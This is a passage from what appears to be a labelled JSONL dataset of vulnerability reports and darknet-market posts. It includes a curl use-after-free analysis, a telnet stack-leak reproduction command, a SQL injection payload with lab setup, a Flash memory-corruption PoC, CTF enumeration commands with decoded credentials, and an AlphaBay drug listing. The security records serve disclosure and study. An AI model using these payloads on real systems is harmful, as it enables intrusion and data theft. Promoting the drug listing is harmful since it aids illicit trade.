vlmref=128248795816721230; _gat=1\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 1215\n\ninterest-lapsen-vakavan-sairauden-vakuutus=1&etunimi=aaaa&sukunimi=zzzz&puhelinnumero=00236556566&sahkoposti=hman%40opmail.com&postinumero=00125&postitoimipaikka=aaaa&ctx=ctx,\n SSL_SESS_CACHE_CLIENT | SSL_SESS_CACHE_NO_INTERNAL);\n SSL_CTX_sess_set_new_cb(backend->ctx, ossl_new_session_cb);\n```\n...\n```\n SSL_set_ex_data(backend->handle, data_idx, data);\n SSL_set_ex_data(backend->handle, connectdata_idx, conn);\n```\n \nWhenever the `ossl_new_session_cb` callback is called the code fetches the `conn` and `data` associated via:\n``` \n conn = (struct connectdata*) SSL_get_ex_data(ssl, connectdata_idx);\n if(!conn)\n return 0;\n\n data = (struct Curl_easy *) SSL_get_ex_data(ssl, data_idx);\n```\nHowever, it is possible that the connection is disassociated from these pointers via `Curl_detach_connnection`, and reassociated to a different connection via `Curl_attach_connnection`. Yet, `Curl_detach_connnection` doesn't `SSL_set_ex_data` the `data_idx` / `connectdata_idx`/ to NULL, nor does `Curl_attach_connnection` update the pointers with new ones. I am not absolutely certain but this appears to lead to a situation where a stale pointer(s) can exists when the session callback is called. \n\n## Steps To Reproduce:\n\nUnfortunately I currently have no easy to way reproduce this issue. I might attempt to do this later.\n\n## Notes\n\nThis issue is currently lacking information but includes what I believe is the potential root cause of the issue. This information might be wrong or lacking necessary details to make full determination of the validity of this issue at this time.\n\nThis issue seems to be occurring somewhat periodically when webkit browser is built with the libcurl backend. Typically this is a rare use case, I know of only Sony Playstation devices that use in larger scale.\n\n## Impact\n\nUse after free, with potential for (remote(*)) code execution as `ossl_new_session_cb` calls `Curl_ssl_sessionid_lock(data);` with potentially repurposed memory. Attacker would need to control `data->share` pointer to attacker controller memory. This fake `struct Curl_share` would need to be crafted in a way that `if(share->specifier & (1<lockfunc` would then get called by the function, resulting in code execution.\n\n*) caveat here, as it is unknown if external attacker can trigger this situation. It would be difficult, but cannot be completely ruled out.", "source": "hackerone", "timestamp": "2021-05-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "98a31389c90bb396d149", "text": "[Uncontrolled Resource Consumption] url that twitter mobile site can not load\n\n**Summary:** \nA url that twitter mobile site can not load, crushes any page containing this url\n\n**Description:** \nInvalid hex characters crushes twitter mobile site as example go to ```https://mobile.twitter.com/?%xx``` \ntwitter won't load.\n\n1) Sending such url on a direct message, twitter will no longer be able to load the conversation,\nF429765\n2) Tweet such url, anyone following you won't be able to load any tweets\nF429766\n\nI think Twitter on the client side trying to find a value for %xx which is not possible so it raises an error\n\n## Steps To Reproduce:\n\n 1. Go to https://mobile.twitter.com/\n 2. Send or tweet this url ```https://mobile.twitter.com/?%xx```\n 3. You and your followers won't be able to see any tweets on the mobile site\n\n## Impact\n\nThis issue works only on https://mobile.twitter.com/\n(not working on IOS, Android and https://twitter.com/ )\nhowever, all twitter mobile users with no twitter app should be affected", "source": "hackerone", "timestamp": "2019-03-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "153fca2c359c7858819b", "text": "u5CMS 3.9.3 Multiple SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-02-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f4f2ae2e89f5bbd4cea1", "text": "SpinetiX Fusion Digital Signage 3.4.8 CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2020-09-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b89f3f176d048d6ae212", "text": "[Reddit Darknet Markets] DarkNet Deals for the week of November 21, 2016\n\n45/g, basic shipping included in some very sweet 2CB-Hbr. http://alphabaywyjrktqn.onion/listing.php?id=159562\n\nThere are lots of reviews about this 2CB on reddit, do a quick search if you'd like to read them :)", "source": "gayanku", "timestamp": "2016-11-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ffbc5fba2b11e5329eca", "text": "[SQL Injection] [query-mysql] SQL Injection due to lack of user input sanitization allows to run arbitrary SQL queries when fetching data from database\n\nHi Guys,\n\nThere is SQL Injection in query-mysql module. Due to lack of sanitization of user input, an attacker is able to craft SQL query and get any data from the database.\n\n## Module\n\n**query-mysql**\n\nInstall this module in your project like dependency\n\nhttps://www.npmjs.com/package/query-mysql\n\nversion: 0.0.2\n\nStats\n0 downloads in the last day\n13 downloads in the last week\n85 downloads in the last month\n\n~1000 estimated downloads per year\n\n\n## Description\n\nMost of functions in ```query-mysql``` module used to manipulate data build query usign simple string concatenation. This leads to SQL Injection vulnerability, because an attacker is able to pass his own query and run any SQL on the database.\n\nThis is one of those functions, which allows to select record from the table depends on value for the column:\n\n```javascript\n// node_modules/query-mysql/lib/base.js, line 172\n fetchById: function (table, id, name_id, callback) {\n connect(function (connected) {\n if (connected) {\n\n connection.query(\"SELECT * FROM \" + table + \" WHERE \" +name_id+\"='\"+ id+\"'\", function (err, rows, fields) {\n connection.end();\n console.log(\"fetchById\");\n //if (err) throw err;\n if (err) {\n callback(\"error\", null);\n }else{\t\t\t\t\t\t\n callback(\"success\", rows);\n };\n })\n\n }else{\n callback(\"error_connection\", null);\n };\n })\n },\n```\n\nThe query itself is simple string with values passed by the user concatenated with SQL:\n\n```javascript\nconnection.query(\"SELECT * FROM \" + table + \" WHERE \" +name_id+\"='\"+ id+\"'\"\n```\n\nIf we assume, that ```table```, ```name_id``` and ```id``` will be passed as, respectively, ```users```, ```id``` and ```1```, we should get following query:\n\n```sql\nSELECT * FROM users WHERE id='1'\n```\nIt returns record from table ```users```, where ```id``` equals 1.\n\nNow, if we pass in ```id``` malicious query, like ```1\\' OR 1=1-- ``` - we get this:\n\n```sql\nSELECT * FROM users WHERE id='1' OR 1=1-- \n```\nThis query returns **all** records from table ```users```\n\n\n## Mitigation\n\n```query-mysql``` relies on ```mysql``` module. This module allows to use Preparing Queries (Prepared Statements) - https://www.npmjs.com/package/mysql#preparing-queries:\n\n```\nYou can use mysql.format to prepare a query with multiple insertion points, utilizing the proper escaping for ids and values. A simple example of this follows:\n\nvar sql = \"SELECT * FROM ?? WHERE ?? = ?\";\nvar inserts = ['users', 'id', userId];\nsql = mysql.format(sql, inserts);\n\nFollowing this you then have a valid, escaped query that you can then send to the database safely. This is useful if you are looking to prepare the query before actually sending it to the database. As \n```\n\nThis is the simplest way to avoid simple SQL Injection vulnerabilites.\n\n## Steps To Reproduce:\n\n- install ```query-mysql``` module:\n\n```\n$ npm install query-mysql\n```\n\n- log in to your local MySQL instance and create database ```test``` using following SQL:\n\n```sql\n-- Table structure for table `users`\n\nDROP TABLE IF EXISTS `users`;\n/*!40101 SET @saved_cs_client = @@character_set_client */;\n/*!40101 SET character_set_client = utf8 */;\nCREATE TABLE `users` (\n `username` varchar(50) DEFAULT NULL,\n `password` varchar(50) DEFAULT NULL\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n```\n\n- populate data by adding couple of records:\n\n```\nmysql> select * from users;\n+----------+----------+\n| username | password |\n+----------+----------+\n| admin | admin |\n| user | user |\n| noob | noob |\n+----------+----------+\n3 rows in set (0.00 sec)\n```\n\n\n- create sample application:\n\n```javascript\n// app.js\n'use strict'\n\nconst query = require('query-mysql')\n\nquery.configure({\n 'host': '127.0.0.1',\n 'user': 'root',\n 'passwor", "source": "hackerone", "timestamp": "2018-05-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b6d227c70f3bbf92a07e", "text": "[Privilege Escalation] Out-of-date Version (Apache)\n\nURL https://████████/ \nIdentified Version 2.2.15 (contains 4 important and 10 other vulnerabilities) \nLatest Version 2.2.31 \nVulnerability Database Result is based on 27.10.2016 vulnerability database content. \nVulnerability Details\n\n\nLink identified you are using an out-of-date version of Apache.\n\nImpact\n\nSince this is an old version of the software, it may be vulnerable to attacks.\n\nRemedy\n\n\nPlease upgrade your installation of Apache to the latest stable version.\n\nRemedy References\n\n•Downloading the Apache HTTP Server\n\nKnown Vulnerabilities in this Version\n\n\nMedium Apache mod_cache and mod_dav Request Handling Denial of Service Vulnerability \n\nThe mod_cache and mod_dav modules in the Apache HTTP Server allow remote attackers to cause a denial of service (process crash) via a request that lacks a path. \n\nExternal References\n•CVE-2010-1452 \n\nLow Apache APR-util apr_brigade_split_line() Denial of Service Vulnerability \n\nMemory leak in the apr_brigade_split_line function in buckets/apr_brigade.c in the Apache Portable Runtime Utility library (aka APR-util), as used in the mod_reqtimeout module in the Apache HTTP Server and other software, allows remote attackers to cause a denial of service (memory consumption) via unspecified vectors related to the destruction of an APR bucket. \n\nExternal References\n•CVE-2010-1623 \n\nMedium Apache APR apr_fnmatch() Denial of Service Vulnerability\n\nStack consumption vulnerability in the fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library before 1.4.3 and the Apache HTTP Server before 2.2.18, allows context-dependent attackers to cause a denial of service (CPU and memory consumption) via *? sequences in the first argument, as demonstrated by attacks against mod_autoindex in httpd. \n\nExternal References\n•CVE-2011-0419\n\nExploit\n•http://www.securityfocus.com/data/vulnerabilities/exploits/47820.txt\n\nMedium Apache HTTP Server CVE-2011-3192 Denial Of Service Vulnerability\n\nThe byterange filter in the Apache HTTP Server allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086.\n\nExternal References\n•CVE-2011-3192\n\nExploit\n•http://www.securityfocus.com//data/vulnerabilities/exploits/49303.c\n• http://www.securityfocus.com/data/vulnerabilities/exploits/49303-2.c\n\nImportant Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability\n\nThe mod_proxy module in the Apache HTTP Server does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.\n\nExternal References\n•CVE-2011-3368\n\nExploit\n•http://www.securityfocus.com//data/vulnerabilities/exploits/49957.py\n\nImportant Apache HTTP Server Scoreboard Local Security Bypass Vulnerability\n\nscoreboard.c in the Apache HTTP Server 2.2.21 and earlier might allow local users to cause a denial of service (daemon crash during shutdown) or possibly have unspecified other impact by modifying a certain type field within a scoreboard shared memory segment, leading to an invalid call to the free function.\n\nExternal References\n•CVE-2012-0031\n\nImportant Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability\n\nThe mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an @ (at sign) character and a : (colon) character in invalid positions. \n\nExternal References\n•CVE-2011-4317\n\nImportant Apache HTTP Server CVE-2011-3348 Denial Of Service Vulner", "source": "hackerone", "timestamp": "2019-12-02", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a9354f4bd3543bf24789", "text": "[Information Disclosure] CVE-2021-22898: TELNET stack contents disclosure\n\n## Summary:\nlib/telnet.c `suboption` function incorrecly checks for the `sscanf` return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:\n`if(sscanf(v->data, \"%127[^,],%127s\", varname, varval)) {`\nAs such it is possible to construct environment values that don't update the `varval` buffer and instead use the previous value. In combination of advancing in the `temp` buffer by `strlen(v->data) + 1`, this means that there will be uninitialized gaps in the generated output `temp` buffer. These gaps will contain whatever stack contents from previous operation of the application.\n\nFortunately the environment is controlled by the client and not the server. As such this vulnerability can't be exploited by the server. Practical exploitation is limited by the following requirements:\n\n- attacker is able to control the environment passed to libcurl via `CURLOPT_TELNETOPTIONS` (\"`NEW_ENV=xxx,yyy`\") and control `xxx` and `yyy` in the curl_slist entries)\n- attacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to\n\nWhen both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte `temp` buffer.\n\n## Steps To Reproduce:\n\n 1. Run telnet service\n 2. tcpdump -i lo -X -s 65535 port 23\n 2. Execute\n```\ncurl -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -tNEW_ENV=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa telnet://127.0.0.1 <<< foo\n```\n\nYou'll see something like:\n\n```\n 0x0000: 4500 073a 9711 4000 4006 9eaa 7f00 0001 E..:..@.@.......\n 0x0010: 7f00 0001 c79c 0017 f499 4092 2173 31a0 ..........@.!s1.\n 0x0020: 8018 0200 052f 0000 0101 080a d7e7 b666 ...../........", "source": "hackerone", "timestamp": "2021-05-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "955e96e27ae648f0efbd", "text": "[Reddit Darknet Markets] Linux TCP vulnerability (CVE-2016-5696), its effects on Tor and what it means for DNM participants\n\nfirst do `sudo -i` then run the command\n\nThe problem is that sudo doesn't take care of the `>>`", "source": "gayanku", "timestamp": "2016-08-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "06eb88de7dcb098a34a9", "text": "Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-12-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b2cddc34084d36f5b7cc", "text": "Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-12-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "cdfd6d5137cf42a4ef2c", "text": "KVIrc 3.4.0 Virgo Remote Format String Exploit PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2008-10-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0f81c78c20b3b6be410b", "text": "[Improper Access Control - Generic] [H1-2006 2020] The Story of Making Bounty Hunters Happy\n\n**Disclaimer:** I will try to make this post a fun read, given that whoever triagges will be probably going through similar write-ups again and again.\n\n# The beginning:\nBeing away from HackerOne over a month had made me rusty. Although the call to arms for Mr. Mickos and the community could not be left unanswered.\nTherefore once notified by HackerOne's post in Twitter that CEO @martenmickos had lost his login credentials i decided to attempt my first ever H1 CTF challenge and embark on this journey. Scared I was, but a new challenge would make me get back to hunting (one way or the other).\n\n###Information gathering\nAs expected prior to any journey or quest. Information about it is essential. Therefore I started with what i could see in the h1-ctf page.\nDomain `*.bountypay.h1ctf.com` was the only thing in scope. But having all subdomains as potential targets, made me expect multiple paths to start the journey.\nI immediately run a subdomain enumeration with the following command \n`amass enum -d bountypay.h1ctf.com`\nThis returned the following targets, including many juicy ones like api. , software. staff.\n```\nstaff.bountypay.h1ctf.com\nwww.bountypay.h1ctf.com\napi.bountypay.h1ctf.com\nsoftware.bountypay.h1ctf.com\napp.bountypay.h1ctf.com\nbountypay.h1ctf.com\n```\nBut always the better you know the enemy, the better you can attack it right? So i moved on to further enumerate all potential domains. By running a directory enumeration \"attack\". The following command returned the most interesting information.\n`./dirsearch.py -u https://app.bountypay.h1ctf.com/ -e php,jsp,asp,aspx`\nIt reveals that a git repository was there and accessible. \n{F851980}\nUsually having access to such information is gold therefore i attempted to download it with the following tool\n`./git-dumper.py https://app.bountypay.h1ctf.com/ ~/Documents/HackerOne/H1-CTF/git-repository`\nOnce downloaded i started looking through the newly acquired intel. Straight away a file and its content stood out. \nBelow you can see the content of .git/config file. {F851977}\n\nOf course clicking links is always fun (or risky), so straight away I visited [request-logger]( https://github.com/bounty-pay-code/request-logger.git)\nBe warned, this was the last peaceful stop of our journey, before getting our hands dirty in the battles of exploitation.\nUpon visiting the presented URL, we could access a .php file named as [logger.php](https://github.com/bounty-pay-code/request-logger/blob/master/logger.php). That initially might seem innocent but by looking closely at the bottom we can see something interesting.\nA file named as `bp_web_trace.log` \n{F851982}\n\nThis appears to be a logging mechanism which would add new logs to the file in base64 format.\nWe move forward and try to utilize this info, and we find that we can access the file at [Logs file](https://app.bountypay.h1ctf.com/bp_web_trace.log)\nUpon opening the file we see some base64 data presented (as expected)\n```\n1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==\n1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==\n1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19\n1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==\n```\n\nUsing a pen-tester's most trusted companion (Burp), i opened up Decoder tab and put the above base64 encoded data in it. Then selected `Decode as Base64` which returned the following.\n```\n{\"IP\":\"192.168.1.1\",\"URI\":\"\\/\",\"METHOD\":\"GET\",\"PARAMS\":{\"GET\":[],\"POST\":[]}}\n{\"IP\":\"192.168.1.1\",\"URI\":\"\\/\",\"METHOD\":\"POST\",\"PARAMS\":{\"GET\":[],\"POST\":{\"username\":\"brian.olive", "source": "hackerone", "timestamp": "2020-06-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d4098bdf7a52325d4c90", "text": "[Memory Corruption - Generic] Adobe Flash Player OpportunityGenerator class Memory Corruption Vulnerability\n\nI. Summary\nAdobe Flash Player is prone to a vulnerability which leads to memory corruption because of improper validation of OpportunityGenerator.update().\n------------------------------------------------------------------\nII. Description\nAdobe Flash is a multimedia and software platform used for authoring of vector graphics, animation, games and rich Internet applications (RIAs) that can be viewed, played and executed in Adobe Flash Player. \n\nNormally, update() should validates its parameter and returns error in AS3 level if anything goes wrong.\nIf update() function is invoked directly with invalid parameter, some inner class instance will be absent, which will cause a memory crash.\n\nPOC Source Code:\n\npackage\n{\n\timport com.adobe.tvsdk.mediacore.PSDK;\n\timport com.adobe.tvsdk.mediacore.utils.TimeRange;\t\n\timport flash.display.Sprite;\n\t\n\tpublic class poc extends Sprite\n\t{\n\t\tpublic function poc()\n\t\t{\n\t\t\tvar ps:PSDK = PSDK.pSDK;\n\t\t\tvar tr:TimeRange;\n\t\t\tps.createOpportunityGenerator(0).update(1,tr);\n\t\t} \n\t}\n}\n------------------------------------------------------------------\nIII. Impact\nMemory Corruption\n------------------------------------------------------------------\nIV. Affected\nAdobe Flash Player 21.\n------------------------------------------------------------------\nV. Credit\nWen Guanxing from Pangu LAB is credited for this vulnerability.\n\nIt has been assigned as CVE-2016-1100 by Adobe:\nhttps://helpx.adobe.com/security/products/flash-player/apsb16-15.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "25269c8a98010d1be476", "text": "[Uncontrolled Resource Consumption] CVE-2017-3730: Bad (EC)DHE parameters cause a client crash\n\nhttps://www.openssl.org/news/secadv/20170126.txt\n\nhttps://guidovranken.wordpress.com/2017/01/26/cve-2017-3730-openssl-1-1-0-remote-client-denial-of-service-affects-servers-as-well-poc/", "source": "hackerone", "timestamp": "2017-02-07", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5c48fb4eff1b9a5ea14d", "text": "Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)\n\nSeverity: low", "source": "zeroscience", "timestamp": "2011-11-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "dddcb48c2953c9e9b3cd", "text": "[Agora] until agora fixes its shit ill be going to evolution\n\nQuote from: SuperMario on August 30 2014 09:22:03 AMQuote from: worldwideweed on August 29 2014 06:13:45 PMAgora has never let us down i just feel they are not serious about this site. I feel its simply a income earner and may have other things on the go.You think a Tor hidden service with 100K+ active users logging in browsing refreshing etc. multiple times per day (vendors: \"do I have new orders or released escrow?\"; buyers: \"Did he mark my order shipped yet\" \"Did he read my PM yet *refresh* \"nope\" *refresh* \"nope\"; and all of the above plus everyone else who just wants to see the referrals roll in. When connections to a single URL are so numerous and active it can result in a \"friendly DoS\" (ie no \"attacker\" just overloaded relays due to high user activity).Friendly DoS's are manageable to some degree but when a real \"attacker\" aims a botnet DoS attack at a hidden service so as to coincide with peak user load use the problems stack and it can quickly render a site unable to respond to legitimate user requests - the target nodes are usually the Intro Points published by the site to HSDirectories and are needed for users to request the HS connect through a Rendezvous Point (a separate relay chosen by the user) which used for the connection between the user & HS site.Do you remember the barrage of DoS attacks that began in February (hmm who had just obsconsed with enough BTC to pay for lots of botnets attacks... think: what other significant darknet-related events happened in Feb 2014)? If there wasn't someone (or several someones) working their ass off 24/7 to maintain Agora SECURELY the site would have never recovered. And yet it did? Agora tweaked a few things here and there and overcame the onslaught.Do you remember the OpenSSL \"Heartbleed\" bug (CVE-2014-0160)? Tor dev. Roger Dingledine's blog post clearly stated \"Best practice would be to move to a new hidden-service address\". That was early/mid April and by that time. If Agora weren't serious why'd they take the extra precaution of following the Tor developer's advice?Was any other site that cautious? Is any other site confident enough in their accounting to show you a 30-day \"Balance History\" page where you can track the account balance and know it's accurate? -- that's a rhetorical question because I know little about the user interface on other sites and whether or not they have any such feature.And look at how secure their authentication is - they have safeguards to prevent brute-forcing passwords via repeated login attempts. They have a 2FA (which you MUST enable if you understand PGP well enough to decrypt messages made to your public key). And on top of that they implemented the Pincode correctly (unlike some ofther site I could mention) so that NO FUNDS can be spent or withdrawn without it.These guys are doing it right. No bullshit moderator accounts that work in tandem to manipulate and/or redirect forum conversations away from discussion of other markets. Have you found any censored words on Agora forum? SR2 has banned every Agora URL on the forum literally within minutes. But SR2 is a bad example because they are a definite honeypot/trap out to identify and eventually close in on their targets and offer them the opportunity for \"3 hots and a cot\" or else becoming an informant (which mean \"keep commiting your 'crimes' and we won't arrest you so long as you tell us about them and share any info that helps us capture/arrest others like yourself\").Evolution? It seems ok. BUT.... I cannot get over their morphing out of Tor Carding Forum in January when I know the FBI has been infiltrating the top administrative levels of online carding sites since at least 2006. They actually PAY real FBI agents to sit on their ass at a computer ALL DAY pretending to be carders/hackers/spammers. LE's long-term involvement in the online aspect of carding is reason enough - for me - to be very wary of Evo. Plus they allow FRIM to stay there and create a bullshit \"vendor account\" all the while obsessing over trolling ", "source": "gayanku", "timestamp": "2014-08-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "49db53de54785e12f527", "text": "ZBL EPON ONU Broadband Router 1.0 Remote Privilege Escalation Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-04-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c90cb062b4ca571362b0", "text": "ZKTeco ZKBioSecurity 3.0 Multiple XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-08-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f30044f0a81a99370663", "text": "[Information Disclosure] [otus.p.mail.ru] Full Path Disclosure\n\nНе факт, что вам удастся это исправить, так как проблема в стороннем ПО - \"brat rapid annotation tool\"\n\nКоторый доступен по ссылке\n\notus.p.mail.ru/brat\n\nСтоит немного погулять по директориям и увидим раскрытие путей:\n\nCould not write statistics cache file to directory /home/sites/ling.go.mail.ru/brat/server/src/../../data/tutorials/bio/: [Errno 13] \n\nPermission denied: u'/home/sites/ling.go.mail.ru/brat/server/src/../../data/tutorials/bio/.stats_cache'\n\nСкрин прикладываю.", "source": "hackerone", "timestamp": "2017-03-27", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fb2d2d3f67f4b2bc7fb8", "text": "AContent 1.1 Multiple SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-08-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "91de02611957205db062", "text": "Axis Commerce 0.8.7.2 Remote Script Insertion Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-11-30", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "51ffbac3eb03ba4ad166", "text": "[Cross-Site Request Forgery (CSRF)] CSRF on https://apps.topcoder.com/wiki/users/editmyprofile.action\n\n## Summary:\nHi :) There is a CSRF on changing user details.\n\n## Steps To Reproduce:\nThere is no CSRF token or anything like that on https://apps.topcoder.com/wiki/users/editmyprofile.action . I added the poc html file below. When someone opens this html file, or we can add it into our website, victim's name and information will change.\n\nNote: This only works to signed-in users. Because unauthorized users cannot upload attachments. There is a mistake on https://apps.topcoder.com/wiki/login.action now. If you encounter an error, you can login on main site (https://accounts.topcoder.com/member) then try.\n\n## Impact\n\nAn attacker can force other users to change their name and informations without their knowledge.", "source": "hackerone", "timestamp": "2020-05-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bc1e77c0d9949073fa8b", "text": "[Cross-site Scripting (XSS) - Generic] Reflected XSS on Zones > Invocation Code\n\n**\"Cricetinae\"** :)\n\nThis report is similar to my earlier report: #170156.\n\n### Short Description\nThe **Close text** parameter in *Inventory > Zone > Invocation Code* is vulnerable to Cross-Site Scripting vulnerability.\n\n### Steps to Reproduce\n1. Logon or Work as an agent.\n2. Navigate to Inventory > Zones > Invocation Code. Create Websites & Zones records if 